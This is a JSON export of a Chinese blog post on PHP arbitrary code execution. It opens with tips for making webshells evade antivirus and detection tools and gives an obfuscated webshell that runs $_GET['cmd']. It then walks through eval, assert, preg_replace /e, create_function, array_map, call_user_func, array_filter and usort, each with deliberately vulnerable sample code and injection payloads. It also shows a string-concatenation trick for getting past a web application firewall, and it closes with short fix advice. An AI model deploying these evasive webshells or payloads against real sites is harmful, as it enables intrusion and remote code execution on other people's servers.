{"id":41,"date":"2023-03-23T12:32:29","date_gmt":"2023-03-23T04:32:29","guid":{"rendered":"http:\/\/123.207.45.199\/?p=41"},"modified":"2026-05-31T21:59:13","modified_gmt":"2026-05-31T13:59:13","slug":"%e4%bb%bb%e6%84%8f%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c","status":"publish","type":"post","link":"https:\/\/www.redspear.cn\/index.php\/2023\/03\/23\/%e4%bb%bb%e6%84%8f%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c\/","title":{"rendered":"\u4efb\u610f\u4ee3\u7801\u6267\u884c"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u514d\u6740<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4f20\u5165\u53d8\u91cf\u7528base64\u52a0\u5bc6<br>\u5e76\u5728\u5176\u4e2d\u6dfb\u52a0\u4e00\u4e9b\u4e71\u7801 \u622a\u53d6\u65f6\u7528substr\u4ece\u6b63\u5e38\u4ee3\u7801\u5904\u5f00\u59cb<br>base64_decode<br>\u200b<br>\u5206\u6790\u8681\u5251<br>\u200b<br>\u5199\u5165\u6587\u4ef6<br>fopen fwrite \u4e09\u5143<br>\u8bfb\u53d6\u6587\u4ef6<br>fopen fread \u4e09\u5143<br>\u5220\u9664\u6587\u4ef6\u5939<br>\u200b<br>\u9996\u5148\uff1a\u5224\u65ad\u662f\u5426\u662f\u4e00\u4e2a\u6587\u4ef6\u5939<br>\u5982\u679c\u662f\u6587\u4ef6\u5939\uff0c\u90a3\u4e48\u5c31\u9700\u8981\u904d\u5386\u91cc\u9762\u7684\u6587\u4ef6.<br>\u6ce8\u610f\u4e8b\u9879\u5982\u679c\u904d\u5386\u7684\u662f.\u6216\u8005..\u90a3\u4e48\u5c31\u4e0d\u6267\u884c\u5220\u9664\u6307\u4ee4)<br>\u904d\u5386\u5230\u975e.\u6216\u8005\u975e..\u5728\u53bb\u68c0\u6d4b\u662f\u5426\u662f\u4e00\u4e2a\u6587\u4ef6\uff0c\u5982\u679c\u662f\u4e00\u4e2a\u6587\u4ef6\u90a3\u4e48\u5c31\u6267\u884cunlik\u64cd\u4f5c\uff0c\u904d\u5386\u5230\u6700\u540e\u5728\u6267\u884crmdir\u5220\u9664\u6587\u4ef6\u5939<br>\u200b<br>\u200b<br>\u200b<br>shell \u547d\u4ee4<br>\u200b<br>D\u76fe\u9632\u706b\u5899   \u53ef\u7528\u4e8e\u6d4b\u8bd5\u514d\u6740<br>\u767e\u5ea6\u5728\u7ebfwebshell\u68c0\u6d4b \u6cb3\u9a6c<br>\u200b<br>&lt;?php<br>function xxx($a){<br> &nbsp;  return $a;<br>}<br>$str = $_GET['cmd'];<br>\u200b<br>$x= base64_decode(substr($str,7));<br>\u200b<br>$c='x';<br>$v='xx';<br>$vg=$c.$v;<br>$hg=$vg($x);<br>$hg('phpinfo();');<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u539f\u7406<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5728Web\u5e94\u7528\u4e2d\u6709\u65f6\u5019\u7a0b\u5e8f\u5458\u4e3a\u4e86\u8003\u8651\u7075\u6d3b\u6027\u3001\u7b80\u6d01\u6027\uff0c\u4f1a\u5728\u4ee3\u7801\u8c03\u7528eval<br>\u51fd\u6570(PHP\u51fd\u6570)\u53bb\u5904\u7406\u3002\u6bd4\u5982\u5f53\u5e94\u7528\u5728\u8c03\u7528\u4e00\u4e9b\u80fd\u5c06\u5b57\u7b26\u4e32\u8f6c\u5316\u6210\u4ee3\u7801\u7684\u51fd\u6570\u65f6<br>\u6ca1\u6709\u8003\u8651\u7528\u6237\u662f\u5426\u80fd\u63a7\u5236\u8fd9\u4e2a\u5b57\u7b26\u4e32\uff0c\u5c06\u9020\u6210\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u76f8\u5173\u51fd\u6570<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">Eval()       \u662f\u4e00\u4e2a\u8bed\u8a00\u6784\u9020\u5668\u800c\u4e0d\u662f\u4e00\u4e2a\u51fd\u6570\uff0c\u4e0d\u80fd\u88ab\u53ef\u53d8\u51fd\u6570\u8c03\u7528<br>assert()    \u5728PHP7\u4ee5\u524dassert\u662f\u4f5c\u4e3a\u51fd\u6570\u3002PHP7\u4ee5\u540e\uff0cassert\u4e0eeval\u4e00\u6837\u3002\u90fd\u662f\u8bed\u8a00\u6784\u9020\u5668\u3002<br>preg_replace() +\/e\u6a21\u5f0f<br>create_function()<br>array_map ()<br>call_user_func()<br>array_filter()<br>usort_()  uasort (<br>GET['a']($GET['b']);\/\/a=assert&amp;b=phpinfo (<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">eval<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4f1a\u6709\u4e00\u4e9b\u9650\u5236<br>${}     \u4f1a\u4f18\u5148\u6267\u884c<br>\u95ed\u5408+\u6ce8\u91ca &nbsp; %23<br>\u200b<br>1. ');phpinfo();#<br>&lt;?php<br>\/\/\u5173\u95ed\u65b9\u6cd5<br> $data=$_GET[\u2018data\u2019];<br> eval(\u201c\\$ret = strtolower(\u2018$data\u2019);\u201d);<br> echo $ret;<br>?&gt;<br>\u200b<br>2. \");phpinfo();%23<br>&lt;?php<br>$data=$_GET['data'];<br>eval(\"\\$ret = strtolower(\\\"$data\\\");\"); <br>echo $ret;<br>?&gt;<br>\u200b<br>3.<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">assert<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u52a8\u6001\u8c03\u7528\u4e0d\u80fd\u8d85\u8fc77.1<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u52a8\u6001\u8c03\u7528\u7ed5\u8fc7waf<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$a='ass'<br>$b='ert';<br>$c=$a.$b;<br>$c($_GET['cmd']);<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">preg_replace()<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0d\u80fd\u8d85\u8fc75.6<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u7b2c\u4e00\u4e2a\u53c2\u6570\u8981\u6709 \/e<br>\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u5426\u53ef\u63a7       =&gt;\u66ff\u6362\u6210\u4f55\u503c<br>\u7b2c\u4e09\u4e2a\u53c2\u6570\u5e94\u8be5\u5305\u542b\u7b2c\u4e00\u4e2a\u53c2\u6570 &nbsp;<br>\u200b<br>1.phpinfo()<br>&lt;?php<br>$a = $_GET['a'];<br>echo preg_replace(\"\/test\/e\", $a, \"just test!\")<br>?&gt;<br>\u200b<br>2. &lt;data&gt;${phpinfo()};&lt;\/data&gt;<br>&lt;?php<br>$data=$_GET['data'];<br>echo $data;<br>preg_replace('\/&lt;data&gt;(.*)&lt;\\\/data&gt;\/e', '$ret=\"\\\\1\";', $data);<br>echo $ret;<br>?&gt;<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">create_function()<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e5f\u53ef\u52a8\u6001\u8c03\u7528 7.2\u4ee5\u4e0b\u9002\u7528 8.0\u79fb\u9664<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">create_function('$a,$b',$c)\u76f8\u5f53\u4e8e<br>create_function($a,$b){c}<br>\u6240\u4ee5\u95ed\u5408\u65f6\u8981\u8bb0\u5f97{}.<br>1.\"],phpinfo());}\/*<br>&lt;?php<br>error_reporting(0);<br>$sort_by = $_GET['sort_by'];<br>$sorter = 'strnatcasecmp';<br>$sort_function = ' return 1 * ' . $sorter . '($a[\"' . $sort_by . '\"], $b[\"' . $sort_by . '\"]);';<br>$func = create_function('$a,$b', $sort_function);<br>$func(1,$sort_by);<br>?&gt;<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">array_map()<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">$a=[$_GET['cmd']];<br>$b = array_map('assert', $a);<br>print_r($b);<br>\u76f8\u5f53\u4e8e assert($a);<br>\u200b<br>1. func=assert&amp;cmd=phpinfo();<br>&lt;?php<br>$func = $_GET['func'];<br>$cmd = $_GET['cmd'];<br>$array[0] = $cmd;<br>$new_array = array_map($func, $array);<br>echo $new_array;<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">call_user_func<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u628a\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u8c03\u7528<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u4f59\u53c2\u6570\u662f\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">call_user_func_array<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7248\u672c\u7686\u9002\u7528<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">1.\n&lt;?php\ncall_user_func(\"assert\",$_GET['cmd']);<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">array_filter()<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u6570\u7ec4,\u56de\u8c03\u51fd\u6570<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7248\u672c\u7686\u9002\u7528<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">1.\n&lt;?php\nhighlight_file(__FILE__);\n$array[0] = $_GET['a'];\narray_filter($array,'assert');\n?&gt;<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8865\u5145<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$_GET['a']($_GET['b']);\n\nusort\n$a=['hehe',$GET['a'],'haha'];\nfunction xxx($num1,$num2)\n{\nassert($num1);\nreturn -1;\n}\nusort($a,\"xxx\");  <\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u6f0f\u6d1e\u4fee\u590d\u65b9\u6848<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5bf9\u4e8eeval()\u7b49\u51fd\u6570\u4e00\u5b9a\u8981\u4fdd\u8bc1\u7528\u6237\u4e0d\u80fd\u8f7b\u6613\u63a5\u89e6eval\u6216\u8005\u5176\u4ed6\u4ee3\u7801\u6267\u884c\u7684\u7684\n\u53c2\u6570\u6216\u8005\u7528\u6b63\u5219\u4e25\u683c(preg replace\/e)\u5224\u65ad\u8f93\u5165\u7684\u6570\u636e\u683c\u5f0f\u3002\n\n\u5bf9\u4e8e\u5b57\u7b26\u4e32\u4e00\u5b9a\u8981\u4f7f\u7528\u5355\u5f15\u53f7\u5305\u88f9\u53ef\u63a7\u4ee3\u7801\uff0c\u5e76\u4e14\u63d2\u5165\u524d\u8fdb\u884caddslashes()\n\n\u5bf9\u4e8epreg_replace\u653e\u5f03\u4f7f\u7528e\u4fee\u9970\u7b26\u3002\u5982\u679c\u5fc5\u987b\u8981\u7528e\u4fee\u9970\u7b26\uff0c\u8bf7\u4fdd\u8bc1\u7b2c\u4e8c\u4e2a\n\u53c2\u6570\u4e2d\u4e0d\u53ef\u63a7\uff0c\u5bf9\u4e8e\u6b63\u5219\u5339\u914d\u51fa\u7684\u5bf9\u8c61\uff0c\u7528\u5355\u5f15\u53f7\u5305\u88f9<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u514d\u6740 \u4f20\u5165\u53d8\u91cf\u7528base64\u52a0\u5bc6\u5e76\u5728\u5176\u4e2d\u6dfb\u52a0\u4e00\u4e9b\u4e71\u7801 \u622a\u53d6\u65f6\u7528substr\u4ece\u6b63\u5e38\u4ee3\u7801\u5904\u5f00\u59cbbase64_dec &hellip; <\/p>\n","protected":false},"author":3,"featured_media":27,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-41","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-webtob10"],"_links":{"self":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/41","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/comments?post=41"}],"version-history":[{"count":1,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/41\/revisions"}],"predecessor-version":[{"id":42,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/41\/revisions\/42"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media\/27"}],"wp:attachment":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media?parent=41"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/categories?post=41"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/tags?post=41"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}